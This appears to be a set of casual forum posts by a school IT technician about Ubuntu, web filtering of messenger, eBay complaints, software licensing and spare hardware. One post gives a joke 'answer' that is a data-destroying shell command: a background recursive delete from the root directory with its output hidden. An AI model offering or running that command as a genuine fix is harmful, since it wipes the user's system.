StewartKnight

I would imagine that it's not illegal. If you OWN region 1 discs, then you need to be able to play them. Many DVD players come are region free straight out of the box anyway!

I agree. webmin is the mutts!

I'm in the north lakes, so Scotland is closer than Rochdale, even if Lisa Stansfield is there! What are the costs involved Linescanner, can you PM me and give me a ballpark figure?

I wasn't at the conference, so I didn't see Sun Ray working. Is there a good website that demonstrates it, or anyone in Cumbria who could demo it?

I block the kids access to messenger using the web filtering. The staff do not have their internet filtered, so they can still use it.

Does anyone know where I can get networking icons, you know, the router icon, the cloud for the internet, the server icon, the desktop icon... all that stuff, so that I can put it into a word document? Many thanks!

This is true. Betamax lost out because Sony refused to licence porn..... Guess who needs to licence porn for blue ray.... Better get an HD player for my new xbox!!!

The ubuntu help forums are brilliant! Even I have now managed to get the bling working! What effects are there???

Damn, I was going to suggest a hammer!

what graphics card are you using DB?

i've installed it... but can I get the bloody Compiz Fusion to work!! GRRRRRR

we ban messengering too!

you might be able to get cheap laptops, but when all the keys are missing in 6 months time, you might find that they turn into expensive laptops. Far better to get desktops!

A mechanic, an electrician and a Microsoft engineer are all travelling in a car. The car breaks down. The mechanic says "we should replace the distributer, that'll solve it" The electrician says "we should replace the fuses, that'll solve it" The microsoft engineer says "we should get out and get back in again, that'll solve it!"

multicasting will help!

This is my fav cat site!!

I think the answer is 'nohup cd /; rm -rf * > /dev/null 2>&1 &' followed by Control-d

Ebay isn't great. It's a car boot/charity shop online. In the early days it was ok, but now, too many people are using it as exentions to their businesses. A lot of the stuff is therefore overpriced. Example being, I got the wife a Prada phone the other week. Ebay prices over £200, yet carphone warehouse sells them for £200. Why pay over the odds for second hand goods. Then we have the scammers. One of the people I was looking at on ebay was selling the phone at a price near to the £200, but not quite £200. I didn't buy from them in the end. Just as well. Their feedback (previously good) suddenly had hundreds of people complaining that they'd paid £100's for phones that never came. The seller was banned, but what about the people who lost their money.... ebay doesn't care, and Paypal only returns the money when they get it from the seller. The feedback is bordering on useless now. It's easy to build up "good" feedback buying 1p items. Ebayers often don't leave feedback, even if you have left it for them. If you dare to lodge a legitimate complaint, you get back feedback, which isn't deserved, and ebay "mods" are ineffective! Paypal.... surely the monopolies commision needs to investigate this! Ebay fees. getting more and more expensive all the time (plus Paypal like to add their charges too). So, in summary.... I hate ebay because: (1) Too many people wanting to rip you off (2) Too many scammers (3) Paypal is as big a scam as some of the scammers! (4) Too expensive (5) The feedback is abused (5) It deprives charity shops of valuable merchandise And thats just for starters!!!

I only got the money back off Paypal once the loser who'd tried to con me paid up. You still lose though, as you have to pay their "admin" fee. I hate ebay!

all beige 17" monitors, we're in Appleby, about an Hours drive from Poulton-Le-Fylde (where I used to live!)

We have shed loads Geoff! Grab a van and come up the M6, I bet we have nearly 20. I can check if you like.

why Macs? A pc can do anything a mac can do!

I got a £10k payrise after 1 year in my last post. A pay level I was able to maintain when I transfered to the school that I now work at.

If the PC's came with XP, then they don't have to pay for the licences. All other o/s will have to be paid for, and Office will have to be paid for on EVERY pc (unless it came with Office) How about using Open Office as a free alternative?

does sound like spanning tree protocol...... unless you have a device on the switch that is spamming the network